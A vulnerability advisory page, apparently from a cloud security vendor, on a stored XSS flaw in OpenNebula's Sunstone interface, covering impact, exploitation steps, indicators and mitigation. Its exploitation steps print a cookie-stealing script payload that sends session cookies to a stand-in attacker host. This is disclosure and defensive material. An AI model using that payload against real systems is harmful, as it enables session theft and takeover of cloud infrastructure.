CVE-2025-56536
Linux Ubuntu vulnerability analysis and mitigation

Overview

CVE-2025-56536 is a stored cross-site scripting (XSS) vulnerability in OpenNebula's Sunstone web interface that allows attackers to inject arbitrary web scripts or HTML via the user information parameter. It affects OpenNebula versions prior to 7.0.0, with the tested version being 6.10.0.1. The vulnerability was published on April 29, 2026, with a corresponding GitHub Advisory (GHSA-vgvm-265p-r642) published the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, PoC Repo).

Technical details

The root cause is improper neutralization of user-controllable input before it is rendered in web pages served to other users (CWE-79). The vulnerability resides in the opennebula-sunstone component, where user-supplied data entered into the user information parameter is stored without adequate sanitization and later rendered in the browser of any user who views that information. An attacker can inject a crafted payload such as <image src=q onerror=prompt(8)> into the user information field, which is then persistently stored and executed in the browsers of other authenticated users. No authentication appears to be required to inject the payload, though user interaction (a victim viewing the malicious content) is necessary for execution (PoC Repo, Github Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other OpenNebula users who view the poisoned user information, enabling session cookie theft, credential harvesting, and unauthorized actions performed on behalf of logged-in users (including administrators). Because the payload is stored server-side, every user who views the affected profile is at risk without any further attacker interaction. In a cloud management platform like OpenNebula, compromise of an administrator session could lead to full control over virtual machine infrastructure and sensitive tenant data (Github Advisory, PoC Repo).

Exploitability

A public proof-of-concept exploit is available on GitHub, including a concrete XSS payload and screenshots demonstrating successful execution in the OpenNebula Sunstone interface (PoC Repo). The EPSS score is approximately 0.029–0.032%, indicating a low but non-zero probability of exploitation in the near term. No in-the-wild exploitation or threat actor attribution has been reported as of the time of publication, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing OpenNebula Sunstone instances running versions prior to 7.0.0 using tools like Shodan or Censys, or by checking the OpenNebula version string in the web interface.
  2. Access user information parameter: Log in (or leverage an unauthenticated path if available) and navigate to the user profile or user information editing section within the Sunstone web interface.
  3. Inject XSS payload: Enter a crafted payload into the user information field, such as <image src=q onerror=prompt(8)> or a more malicious variant designed to exfiltrate cookies (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Payload persistence: Submit the form; the malicious payload is stored in the OpenNebula database without sanitization.
  5. Victim triggers execution: When any other user (including an administrator) views the affected user's information in the Sunstone interface, the stored script executes in their browser, allowing the attacker to steal session tokens, perform actions as the victim, or pivot further within the platform (PoC Repo).

Indicators of compromise

  • Network: Outbound HTTP requests from the OpenNebula server or user browsers to unexpected external domains shortly after viewing user profile pages; unusual GET/POST requests to attacker-controlled endpoints containing cookie or session data.
  • Logs: OpenNebula Sunstone access logs showing updates to user information fields containing HTML tags or JavaScript event handlers (e.g., onerror, onload, <script>); repeated access to user profile pages by multiple accounts in a short timeframe.
  • File System: No direct file system artifacts expected for a stored XSS; however, review OpenNebula database records for user information fields containing unexpected HTML or script content.
  • Process/Browser: Unexpected JavaScript dialogs (e.g., prompt, alert) appearing in the Sunstone interface when viewing user profiles, indicating active payload execution (PoC Repo).

Mitigation and workarounds

The recommended fix is to upgrade OpenNebula to version 7.0.0 or later, which addresses this vulnerability (Github Advisory, PoC Repo). As interim mitigations, administrators should restrict access to user information modification features to trusted users only, implement Content Security Policy (CSP) headers to limit script execution in browsers, and ensure all user-supplied input in user information parameters is filtered and sanitized server-side. Network-level controls such as WAF rules targeting XSS patterns in POST parameters can provide additional defense-in-depth.

Community reactions

The vulnerability was noted by automated CVE tracking services and aggregators including VulDB, ENISA EUVD, and Red Hat's CVE tracker shortly after publication. No significant vendor statements from OpenNebula or notable independent researcher commentary beyond the PoC author (Mark Artamonov) have been identified. Community reaction appears minimal, consistent with the medium severity rating and absence of active exploitation (Github Advisory).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Ubuntu

Unknown

bionic (esm-apps)

opennebula

Unknown

xenial (esm-apps-legacy)

opennebula

Unknown

SourceThis report was generated using AI

Related Linux Ubuntu vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-19499HIGH7.7
  • Linux Debian logoLinux Debian
  • glibc-langpack-bs
NoYesSep 14, 2026
CVE-2026-19816HIGH7.1
  • Linux Debian logoLinux Debian
  • PackageKit-glib
NoYesSep 14, 2026
CVE-2026-71198HIGH7
  • Linux Debian logoLinux Debian
  • glance
NoNoSep 14, 2026
CVE-2023-34854MEDIUM6.6
  • Linux Debian logoLinux Debian
  • hoteldruid
NoYesSep 14, 2026
CVE-2026-19542MEDIUM5.6
  • Linux Debian logoLinux Debian
  • glibc-langpack-ka
NoYesSep 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management